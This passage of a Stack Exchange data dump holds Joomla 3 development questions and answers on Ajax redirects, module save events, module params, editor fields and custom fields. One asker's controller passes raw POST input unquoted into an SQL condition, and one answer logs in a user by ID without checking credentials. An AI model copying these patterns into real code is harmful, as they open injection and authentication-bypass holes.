json_encode($results[0]);&#xA;    die();&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally the Contract controller with the save function and the redirect. &lt;strong&gt;controllers/contract.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ContractControllerContract extends JControllerForm {&#xA;&#xA;  public function saveContractText() {&#xA;    JSession::checkToken() or die('Invalid Token');&#xA;&#xA;    $app = JFactory::getApplication();&#xA;    $lang = JFactory::getLanguage();&#xA;    $model = $this-&amp;gt;getModel();&#xA;    $table = $model-&amp;gt;getTable();&#xA;    $data = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('jform', array(), 'array');&#xA;    $checkin = property_exists($table, 'checked_out');&#xA;    $context = &quot;$this-&amp;gt;option.edit.$this-&amp;gt;context&quot;;&#xA;    $task = $this-&amp;gt;getTask();&#xA;&#xA;    if (empty($key)) {&#xA;      $key = $table-&amp;gt;getKeyName();&#xA;    }&#xA;&#xA;    if (empty($urlVar)) {&#xA;      $urlVar = $key;&#xA;    }&#xA;    $recordId = $this-&amp;gt;input-&amp;gt;getInt($urlVar);&#xA;    // Populate the row id from the session.&#xA;    $data[$key] = $recordId;&#xA;&#xA;    $data['id'] = $_POST['itemId'];&#xA;    $data['contract_text'] = $_POST['templText'];&#xA;&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $field = $db-&amp;gt;quoteName('contract_text') . ' = ' . $db-&amp;gt;quote($data['contract_text']);&#xA;    $condition = $db-&amp;gt;quoteName('id') . ' = ' . $data['id'];&#xA;    $query-&amp;gt;update($db-&amp;gt;quoteName('#__contract_contracts'))-&amp;gt;set($field)-&amp;gt;where($condition);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;execute();&#xA;&#xA;    $app-&amp;gt;setUserState($context . '.data', $data);&#xA;    $this-&amp;gt;setRedirect(&#xA;            JRoute::_(&#xA;                    'index.php?option=' . $this-&amp;gt;option . '&amp;amp;view=' . $this-&amp;gt;view_item&#xA;                    . $this-&amp;gt;getRedirectToItemAppend($recordId, $urlVar), false&#xA;            )&#xA;    );&#xA;&#xA;    return false;&#xA;  }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="12709" LastEditorUserId="12709" LastEditDate="2018-08-17T05:10:45.063" LastActivityDate="2018-08-17T05:10:45.063" Title="Reload admin form after save field in database" Tags="|joomla-3.x|development|ajax|redirect|modal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23310" PostTypeId="1" AcceptedAnswerId="23312" CreationDate="2018-08-13T15:51:58.507" Score="1" ViewCount="320" Body="&lt;p&gt;I have a module, and a number of different fields for authentication with an API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to perform the API authentication when the Save button is clicked, and return a success or fail message depending on the authentication?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this in Joomla?&lt;/p&gt;&#xA;" OwnerUserId="12798" LastActivityDate="2018-08-14T15:17:50.427" Title="Joomla 3 - How to call a function on Module save?" Tags="|joomla-3.x|module|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23312" PostTypeId="2" ParentId="23310" CreationDate="2018-08-14T05:47:39.603" Score="1" Body="&lt;p&gt;Create a plugin with &lt;code&gt;onExtensionBeforeSave&lt;/code&gt; and/or &lt;code&gt;onExtensionAfterSave&lt;/code&gt; event.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onExtensionBeforeSave($context, $item, $isNew)&#xA;{&#xA;    // Check that we are editing our module.&#xA;    if ($context !== 'com_modules.module' || $item-&amp;gt;module !== 'mod_example')&#xA;    {&#xA;        return true;&#xA;    }&#xA;&#xA;    // Do stuff here.&#xA;    $params = new JRegistry($item-&amp;gt;params);&#xA;&#xA;    // Our stuff fails, don't save the module.&#xA;    if (!$this-&amp;gt;doStuff($params))&#xA;    {&#xA;        return false;&#xA;    }&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternative way, which may or may not be suitable in your case, is to create a form validation rule in your module. This would not require a plugin. See documentation &lt;a href=&quot;https://docs.joomla.org/Server-side_form_validation&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Server-side_form_validation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-08-14T15:17:50.427" LastActivityDate="2018-08-14T15:17:50.427" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23313" PostTypeId="2" ParentId="7148" CreationDate="2018-08-14T11:24:36.213" Score="0" Body="&lt;p&gt;I'll add this as a separate answer, as it's not exactly a code solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've developed a Firefox extension that performs 2 XHR requests. The first one to the Joomla API site to get the latest version, the other to the &lt;code&gt;joomla.xml&lt;/code&gt; file of the current website you're viewing. It will then compare the two versions and &lt;code&gt;console.log()&lt;/code&gt; the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL: &lt;a href=&quot;https://github.com/C-Lodder/joomla-update-checker&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/C-Lodder/joomla-update-checker&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-08-14T11:24:36.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23314" PostTypeId="2" ParentId="23309" CreationDate="2018-08-14T14:22:26.877" Score="3" Body="&lt;p&gt;When you save the template with the JavaScript call &lt;code&gt;saveTemplate()&lt;/code&gt;, you are sending an Ajax call to the server. This Ajax call is the one being redirected with a HTTP redirect.&#xA;You are ignoring the response from the server. If you checked it out, it would be the content of the page that you're trying to redirect to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To issue a redirect after the Ajax call you have to do it in the JavaScript function with &lt;code&gt;window.location.href='[URL]'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In saveTemplate(): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;}).success(function (response) {&#xA;&#xA;  window.location.href='[URL]';&#xA;&#xA;}).error(function(error) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12705" LastEditorUserId="12352" LastEditDate="2018-08-15T15:12:21.607" LastActivityDate="2018-08-15T15:12:21.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23315" PostTypeId="2" ParentId="15856" CreationDate="2018-08-14T17:49:16.863" Score="1" Body="&lt;p&gt;Joomla 3.x&#xA;Correct&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $joomla_captcha = JFactory::getConfig()-&amp;gt;get('captcha');&#xA;if ( $joomla_captcha != '0') {&#xA;    JPluginHelper::importPlugin('captcha');&#xA;    $dispatcher = JDispatcher::getInstance();&#xA;    // This will put the code to load reCAPTCHA's JavaScript file into your &amp;lt;head&amp;gt;&#xA;    $dispatcher-&amp;gt;trigger('onInit', 'dynamic_recaptcha_1');&#xA;    // This will return the array of HTML code.&#xA;    $recaptcha = $dispatcher-&amp;gt;trigger('onDisplay', array(null, 'dynamic_recaptcha_1', 'class=&amp;quot;required&amp;quot;'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($recaptcha[0]) and $joomla_captcha != &amp;quot;0&amp;quot;) {&#xA;        echo $recaptcha[0];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or replace the three lines above with a shorthand line because &lt;code&gt;$recaptcha&lt;/code&gt; is not defined if &lt;code&gt;$joomla_captcha&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo (isset($recaptcha[0])) ? $recaptcha[0] : '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12803" LastEditorUserId="12352" LastEditDate="2021-09-22T00:35:50.660" LastActivityDate="2021-09-22T00:35:50.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23317" PostTypeId="1" CreationDate="2018-08-16T06:01:50.410" Score="1" ViewCount="224" Body="&lt;p&gt;I have just started using Hikashop for ecommerce and followed the directions from this link: &lt;a href=&quot;https://www.hikashop.com/support/documentation/42-hikashop-field-form.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hikashop.com/support/documentation/42-hikashop-field-form.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I can't get the &lt;code&gt;table&lt;/code&gt; column in my admin.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jaGpK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jaGpK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/feGzJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/feGzJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me to insert the column.&lt;/p&gt;&#xA;" OwnerUserId="12809" LastEditorUserId="12352" LastEditDate="2018-08-16T12:19:40.147" LastActivityDate="2019-12-10T09:12:39.637" Title="How to add a custom field for a product details page for Hikashop?" Tags="|joomla-3.x|hikashop|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23318" PostTypeId="2" ParentId="23317" CreationDate="2018-08-16T06:55:03.533" Score="1" Body="&lt;p&gt;It is available in the paid version. But it should be in the Free version. If anyone need this in the free version, please comment on this.&lt;/p&gt;&#xA;" OwnerUserId="12809" LastActivityDate="2018-08-16T06:55:03.533" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23319" PostTypeId="1" AcceptedAnswerId="23320" CreationDate="2018-08-16T09:58:37.380" Score="2" ViewCount="681" Body="&lt;p&gt;I have a module and params are being saved through the config form. I want to add some additional params programmatically e.g. a token?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="12798" LastActivityDate="2018-08-16T12:29:56.830" Title="Joomla 3 - How to set module params programmatically?" Tags="|joomla-3.x|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23320" PostTypeId="2" ParentId="23319" CreationDate="2018-08-16T12:29:56.830" Score="2" Body="&lt;p&gt;Yes you can save the params of the module programmatically by taking the instance of the extension table&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: JTable update&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table = JTable::getInstance('extension');&#xA;$table-&amp;gt;load($moduleId);&#xA;$table-&amp;gt;bind(array('params' =&amp;gt; $modparams));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where $modparams is the params of updated params of the module in JSON format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the better way to save a value in params of a module I will suggest you create a form field type and use it in your XML form like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2: Form field type.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;token&quot; type=&quot;mytoken&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the field file return a hidden field that would be created in place of the XML entry as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return '&amp;lt;input type=&quot;hidden&quot; name=&quot;'.$this-&amp;gt;name.'&quot; value=&quot;'.$this-&amp;gt;value.'&quot; /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you create your token set it to value of this field and Joomla will save this value in params.&#xA;for help on Form field type : &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2018-08-16T12:29:56.830" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23321" PostTypeId="2" ParentId="23294" CreationDate="2018-08-16T16:13:42.693" Score="0" Body="&lt;p&gt;If you want to use different icons in titles you can use the &lt;a href=&quot;https://rockettheme.com/joomla/extensions/rokcandy&quot; rel=&quot;nofollow noreferrer&quot;&gt;RokCandy Macro&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12810" LastEditorUserId="12352" LastEditDate="2018-08-17T18:47:56.987" LastActivityDate="2018-08-17T18:47:56.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23322" PostTypeId="1" CreationDate="2018-08-17T07:14:22.897" Score="0" ViewCount="303" Body="&lt;p&gt;I've created a Joomla article category 'Events' with three list views:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;all events&lt;/li&gt;&#xA;&lt;li&gt;past events&lt;/li&gt;&#xA;&lt;li&gt;future events&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All three views refer to the same &quot;Events&quot; category. The past and future events layout use Joomla's filter ability, but that filter is currently not dynamic. When I select before respectively after &quot;today&quot; that date is hardcoded into the filter -- not very practical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I dynamically filter the blog/list layout by today's date?&lt;/p&gt;&#xA;" OwnerUserId="12811" LastEditorUserId="12352" LastEditDate="2018-08-17T18:47:34.173" LastActivityDate="2024-04-05T19:04:50.640" Title="How to dynamically filter blog/list layout by today's date?" Tags="|articles|custom-field|content-filtering|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23323" PostTypeId="1" CreationDate="2018-08-17T10:10:00.123" Score="0" ViewCount="46" Body="&lt;p&gt;When I switched from Gantry to Helix3, two problems arose:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;On the website, I have a closed page that requires a password. A&#xA;sign in Gantry came in, but in Helix3 there is an error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;You are not authorized to view this page&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Gantry, the pages&#xA;could appear on tablet and smartphone. In Helix3 there is only a&#xA;part of it that appears and they can not be moved.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there a solution? (ie besides returning to Gantry!)&lt;/p&gt;&#xA;" OwnerUserId="12812" LastEditorUserId="12352" LastEditDate="2018-08-17T18:48:26.797" LastActivityDate="2023-12-30T20:06:45.737" Title="How to fully display login page with Helix3 on mobile devices?" Tags="|login|helix3|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23324" PostTypeId="1" CreationDate="2018-08-17T15:01:16.843" Score="1" ViewCount="243" Body="&lt;p&gt;In my custom component, I would like to have multiple slightly different templates for the same view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;com_things/&#xA;...&#xA; - views/&#xA;   - thing/&#xA;       ...&#xA;   - things/&#xA;     - tmpl/&#xA;         tabs.php&#xA;         accordion.php&#xA;         default.php&#xA;         default.xml&#xA;       view.html.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, the idea is that &lt;code&gt;default&lt;/code&gt; template, &lt;code&gt;accordion&lt;/code&gt; template and &lt;code&gt;tabs&lt;/code&gt; template all use the data prepared in &lt;code&gt;views/things/view.html.php&lt;/code&gt;, displaying it in slightly different ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data should be displayed in the right template according to the url from which it's accessed, for example &lt;code&gt;index.php?option=com_things&amp;amp;view=things&amp;amp;tmpl=tabs&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been playing with this for a while and looking for documentation, but I'm not being able to implement this feature. &#xA;Shouldn't be enough to just create the &lt;code&gt;tabs.php&lt;/code&gt; and &lt;code&gt;accordion.php&lt;/code&gt; file, or am I missing something else?&lt;/p&gt;&#xA;" OwnerUserId="9355" LastActivityDate="2018-08-17T17:00:21.963" Title="Multiple templates for the same view of a custom component" Tags="|custom-component|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23325" PostTypeId="2" ParentId="23324" CreationDate="2018-08-17T17:00:21.963" Score="2" Body="&lt;p&gt;I've found the issue, I'm adding it here for future references. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, it's enough to add the additional templates under the directory &lt;code&gt;com_things/views/things/tmpl/&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem in the question was that I was using the wrong URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it should be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index.php?option=com_things&amp;amp;view=things&amp;amp;layout=tabs&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index.php?option=com_things&amp;amp;view=things&amp;amp;tmpl=tabs&lt;/code&gt; .&lt;/p&gt;&#xA;" OwnerUserId="9355" LastActivityDate="2018-08-17T17:00:21.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23329" PostTypeId="1" CreationDate="2018-08-19T20:20:46.330" Score="1" ViewCount="57" Body="&lt;p&gt;Joomla documentation says&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla has an additional parameter called extra_query in the #__update_sites table. This parameter will be added to the declared download URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I add ids = kjlsdlkfiuewr87ifdtuyr8237 into the extras field in the update sites table it is not passed as part of $_GET.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to do something besides add it to the extras column in the table - add code somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ta&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla ref  &lt;a href=&quot;https://extensions.joomla.org/support/knowledgebase/item/joomla-update-system-requirement/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/support/knowledgebase/item/joomla-update-system-requirement/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12248" LastActivityDate="2018-08-19T20:20:46.330" Title="Joomla auto update" Tags="|custom-component|extension-update|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23330" PostTypeId="1" AcceptedAnswerId="23332" CreationDate="2018-08-20T15:08:40.060" Score="1" ViewCount="165" Body="&lt;p&gt;I have a editor field which I would like to populate with HTML content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;Code&quot; type=&quot;editor&quot; label=&quot;Code&quot; description=&quot;&quot; width=&quot;300&quot; filter=&quot;safehtml&quot; default=&quot;&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can this be achieved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="12798" LastActivityDate="2018-08-21T10:12:58.220" Title="Joomla 3 - How to set content of the editor field?" Tags="|joomla-3.x|editor|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23331" PostTypeId="2" ParentId="23330" CreationDate="2018-08-20T15:59:54.733" Score="1" Body="&lt;p&gt;Assuming you mean the default value, add &lt;code&gt;default&lt;/code&gt; element within the field and include the content wrapped with CDATA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;Code&quot; type=&quot;editor&quot; label=&quot;Code&quot; description=&quot;&quot; width=&quot;300&quot; filter=&quot;safehtml&quot;&amp;gt;&#xA;        &amp;lt;default&amp;gt;&amp;lt;![CDATA[&amp;lt;h1&amp;gt;Sample Text&amp;lt;/h1&amp;gt;]]&amp;gt;&amp;lt;/default&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-08-20T15:59:54.733" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23332" PostTypeId="2" ParentId="23330" CreationDate="2018-08-20T17:35:16.657" Score="1" Body="&lt;p&gt;You can create the editor dynamically in the getInput() as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function getInput() {&#xA;    $editor = JFactory::getEditor();&#xA;    return $editor-&amp;gt;display($this-&amp;gt;name, $this-&amp;gt;value, '550', '400', '60', '20', false); }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this doesn't help you can create it using the JHtml class&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastEditorUserId="8987" LastEditDate="2018-08-21T10:12:58.220" LastActivityDate="2018-08-21T10:12:58.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23333" PostTypeId="1" CreationDate="2018-08-20T19:25:17.227" Score="0" ViewCount="300" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AdrOv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AdrOv.png&quot; alt=&quot;Joomla! users permissions locked&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, this says &lt;strong&gt;Not Allowed (locked)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can change every other user group to allowed and it works.  But not this one.  Even public!  I'm so confused as to why this would be.  I mean, people don't even have to be in the public group to be in the public group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would this be?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2018-08-21T07:27:46.523" LastActivityDate="2018-08-21T07:27:46.523" Title="Com_Users - Edit ACL - Not allowed (locked)" Tags="|administrator|acl|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23335" PostTypeId="1" CreationDate="2018-08-20T21:35:11.633" Score="1" ViewCount="126" Body="&lt;p&gt;CMSApplicationWhen Joomla does its initial routing in &lt;code&gt;Joomla\CMS\Application\CMSApplication&lt;/code&gt; in the &lt;code&gt;route&lt;/code&gt; method, the JUri object is cloned. The line is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$uri = clone \JUri::getInstance();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at the code for &lt;code&gt;\JUri::getInstance()&lt;/code&gt;, when called without a parameter, it will contain the URI based on the &lt;code&gt;SERVER&lt;/code&gt; variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this cloned, rather than just assigned?&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2023-03-19T13:03:35.440" Title="What is the purpose of cloning JUri in the CMSApplication route method?" Tags="|jroute|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23338" PostTypeId="2" ParentId="23154" CreationDate="2018-08-21T10:24:35.890" Score="1" Body="&lt;p&gt;This is a pretty late reply but may help someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to login user from the Joomla itself as the Site 1 is Joomla you can get the user id of the user and use the following method to login if user id exists else you will first need to register the user using the register model.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function _forceLogin($userId)&#xA;{&#xA;    $user = JFactory::getUser($userId);&#xA;    if ($user-&amp;gt;guest) {&#xA;        return 'guest';&#xA;    } else {&#xA;        //Will authorize you as this user.&#xA;        JPluginHelper::importPlugin('user');&#xA;        $options = array();&#xA;        $options['action'] = 'core.login.site';&#xA;        $response = new stdClass();&#xA;        $response-&amp;gt;username = $user-&amp;gt;username;&#xA;        $response-&amp;gt;language = '';&#xA;        $response-&amp;gt;email = $user-&amp;gt;email;&#xA;        $response-&amp;gt;password_clear = '';&#xA;        $response-&amp;gt;fullname = '';&#xA;        $result = JFactory::getApplication()-&amp;gt;triggerEvent(&#xA;            'onUserLogin', array((array)$response, $options)&#xA;        );&#xA;        return $result;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the only best way to login as if you don't use this your user will get logged in but the session for user will not be updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you have found a better way please share here.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2018-08-21T10:24:35.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23339" PostTypeId="1" CreationDate="2018-08-23T12:52:23.033" Score="1" ViewCount="67" Body="&lt;p&gt;I have an editor field with some HTML code in it. The HTML code consists of a form and one of the form fields is a text area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this code is added to the editor field, the Admin section of the module breaks completely. I have no idea why. This isn't caused by any other HTML form fields other than textarea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening and how can it be solved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="12798" LastActivityDate="2018-08-23T16:11:10.843" Title="Joomla 3 - Text area in Editor field breaks the Admin section" Tags="|joomla-3.x|form|editor|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23340" PostTypeId="2" ParentId="23339" CreationDate="2018-08-23T16:11:10.843" Score="1" Body="&lt;p&gt;Editor field is actually a &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt; element with editor functionality added through JavaScript. So any HTML code inside it must be escaped. Without escaping, you end up with &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt; element within &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt; element which is invalid HTML.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-08-23T16:11:10.843" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23341" PostTypeId="2" ParentId="20961" CreationDate="2018-08-23T21:49:39.507" Score="2" Body="&lt;p&gt;It seems that fields are simply plugins of type &lt;code&gt;fields&lt;/code&gt;. Copy the &lt;code&gt;text&lt;/code&gt; folder from  /plugins/fields, to a new folder, text2 and change the names of the files inside the &lt;code&gt;text&lt;/code&gt;-folder to text2.php and text.xml, and  /tmpl/text2.php. In text2.xml there is a reference to the plugin name, update this as well, like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files&amp;gt;&#xA;    &amp;lt;filename plugin=&amp;quot;text2&amp;quot;&amp;gt;text2.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;folder&amp;gt;params&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now you are ready to use the discover - tool in the joomla administrator, to discover the new plugin. Go to yoursite/administrator/ and find the menu extensions/manage/discover. Click discover, the new plugin should be listed. Install the new plugin. Afterwards, find the new plugin in extensions/manage, and enable it.&lt;/p&gt;&#xA;&lt;p&gt;Now you should be able to add a new custom field for eg. an article, using your brand new, custom, self made field...&lt;/p&gt;&#xA;&lt;p&gt;There is a lot of info about writing your own plugin, eg:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="360" LastEditorUserId="360" LastEditDate="2020-08-10T06:42:07.113" LastActivityDate="2020-08-10T06:42:07.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
